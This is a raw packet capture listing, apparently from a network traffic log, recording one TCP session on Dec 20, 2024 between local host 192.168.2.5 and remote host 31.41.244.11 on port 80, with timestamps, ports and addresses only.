Dec 20, 2024 13:12:14.487145901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488071918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488087893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488101006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488116026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488130093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488132954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488146067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488161087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488162041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488185883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488224030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488224030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488249063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488267899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488270998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488287926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488301992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488303900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488332033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488365889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488382101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488398075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488413095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488428116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488430023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488441944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488461018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488465071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488481045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488493919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488501072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488508940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.488529921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.488555908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.489294052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489314079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489326954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489341974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489351034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.489356041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489372015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489384890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489398956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489409924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.489413977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489429951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489444017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489458084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489459991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.489470959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.489485979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.489512920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.550127029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.550200939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.550281048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.550332069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.550578117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.550622940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.550729036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.550775051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.551757097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.551800966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.552043915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.552088976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.552191019 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.552234888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.553272963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.553318024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.553409100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.553451061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.596600056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.596658945 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.596893072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.596946955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.597213030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.597264051 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.597359896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.597410917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.598428011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.598474026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.598579884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.598627090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.599404097 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.599457979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.599569082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.599997044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.600812912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.600871086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.600964069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.601010084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.601566076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.601723909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.601744890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.601814032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.602662086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.602715015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.603245020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.603292942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.603913069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.603929996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.603960037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.603985071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.605086088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.605130911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.605367899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.605413914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.606132030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.606148958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.606185913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.606209993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.607137918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.607187986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.607455015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.607498884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.608496904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.608541965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.608957052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.609002113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.609376907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.609414101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.609416962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.609455109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.610039949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.610085011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.610204935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.610251904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.611027956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.611078024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.611190081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.611243010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.613451004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.613502979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.614558935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.614573956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.614588022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.614602089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.614614010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.614619017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.614653111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.614671946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.615178108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.615194082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.615226030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.615247965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.615828991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.615875959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.616202116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.616262913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.616558075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.616611958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.617278099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.617324114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.617423058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.617439985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.617468119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.617489100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.617666006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.617711067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.618158102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.618202925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.618820906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.618865967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.619344950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.619391918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.619507074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.619522095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.619550943 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.619569063 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.620420933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.620439053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.620470047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.620486021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.621037960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.621094942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.622040033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.622055054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.622071028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.622097015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.622124910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.623086929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.623132944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.623966932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.623981953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.623996973 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.624016047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.624038935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.624420881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.624461889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.625092030 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.625149012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.625544071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.625598907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.626418114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.626434088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.626449108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.626462936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.626485109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.626979113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.627022982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.627491951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.627537966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.628000021 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.628015995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.628043890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.628076077 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.628952026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.628997087 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.629359961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.629401922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.629909992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.629955053 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.630207062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.630251884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.630928993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.630989075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.631064892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.631114960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.631479979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.631536007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.632725954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.632741928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.632756948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.632767916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.632803917 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.633290052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.633342981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.633830070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.633884907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.633900881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.633918047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.633965969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.634007931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.634422064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.634464025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.634764910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.634809971 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.635298014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.635319948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.635344982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.635368109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.636122942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.636137962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.636167049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.636188030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.637273073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.637316942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.637963057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.638008118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.638236046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.638252020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.638281107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.638303995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.638705969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.638746023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.638928890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.638972998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.640191078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.640235901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.640460968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.640506983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.640763044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.640810013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.742683887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.742702007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.742753029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.742774010 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.742950916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.743001938 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.743051052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.743109941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.743851900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.743912935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.744041920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.744098902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.744539022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.744592905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.744621992 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.744673967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.745408058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.745425940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.745460987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.745486975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.746155024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.746222973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.746227980 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.746275902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.746779919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.746831894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.746896982 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.746956110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.747642040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.747694016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.747733116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.747778893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.748302937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.748358965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.748377085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.748431921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.749124050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.749172926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.749217033 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.749270916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.750098944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.750147104 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.750193119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.750247955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.750827074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.750880003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.750988960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.751040936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.751640081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.751689911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.751882076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.751938105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.752609015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.752655983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.752943993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.752998114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.753540039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.753597021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.753834009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.753890038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.754440069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.754494905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.754570007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.754617929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.755449057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.755511045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.755551100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.755604029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.756479979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.756547928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.756550074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.756597042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.757224083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.757271051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:14.757299900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.757311106 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:14.757827044 CET	80	49831	31.41.244.11	192.168.2.5
